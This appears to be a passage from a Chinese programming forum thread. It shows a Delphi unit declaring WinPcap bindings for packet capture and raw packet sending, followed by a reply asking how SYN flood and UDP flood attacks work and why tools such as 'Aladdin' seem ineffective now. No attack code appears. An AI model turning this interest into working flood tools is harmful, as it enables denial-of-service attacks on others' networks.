function pcap_loop(p: ppcap_t; cnt: integer; ppcap_handler: pointer; user: pchar): integer; cdecl;
function pcap_next_ex(p: ppcap_t; pkt_header: ppcap_pkthdr; pkt_data: ppchar): integer; cdecl;
function pcap_lookupnet(device: pchar; netp: pbpf_u_int32; maskp: pbpf_u_int32; errbuf: pchar): integer; cdecl;
function pcap_compile(p: ppcap_t; fp: pbpf_program; str: pchar; optimize: integer; netmask: bpf_u_int32): integer; cdecl;
function pcap_setfilter(p: ppcap_t; fp: pbpf_program): integer; cdecl;
function pcap_geterr(p: ppcap_t): pchar; cdecl;
function pcap_dump_open(p: ppcap_t; fname: pchar): ppcap_dumper_t; cdecl;
procedure pcap_dump(p: ppcap_dumper_t; h: ppcap_pkthdr; sp: pchar); cdecl;
procedure pcap_dump_close(p: ppcap_dumper_t); cdecl;
function pcap_sendpacket(p: ppcap_t; buf: pchar; size: integer): integer; cdecl;
function pcap_setmode(p: ppcap_t; mode: integer): integer; cdecl;

implementation

function pcap_findalldevs; external 'wpcap.dll' name 'pcap_findalldevs';
function pcap_findalldevs_ex; external 'wpcap.dll' name 'pcap_findalldevs_ex';
procedure pcap_freealldevs; external 'wpcap.dll' name 'pcap_freealldevs';
function pcap_open_live; external 'wpcap.dll' name 'pcap_open_live';
function pcap_open; external 'wpcap.dll' name 'pcap_open';
procedure pcap_close; external 'wpcap.dll' name 'pcap_close';
function pcap_loop; external 'wpcap.dll' name 'pcap_loop';
function pcap_next_ex; external 'wpcap.dll' name 'pcap_next_ex';
function pcap_lookupnet; external 'wpcap.dll' name 'pcap_lookupnet';
function pcap_compile; external 'wpcap.dll' name 'pcap_compile';
function pcap_setfilter; external 'wpcap.dll' name 'pcap_setfilter';
function pcap_geterr; external 'wpcap.dll' name 'pcap_geterr';
function pcap_dump_open; external 'wpcap.dll' name 'pcap_dump_open';
procedure pcap_dump; external 'wpcap.dll' name 'pcap_dump';
procedure pcap_dump_close; external 'wpcap.dll' name 'pcap_dump_close';
function pcap_sendpacket; external 'wpcap.dll' name 'pcap_sendpacket';
function pcap_setmode; external 'wpcap.dll' name 'pcap_setmode';

end.
 
绝对MARK

另,synflood,udpflood的原理哪位比较精通,比较一下,现在好多此类工具似乎都没什么效果,比如那个阿拉丁。
 
后退
顶部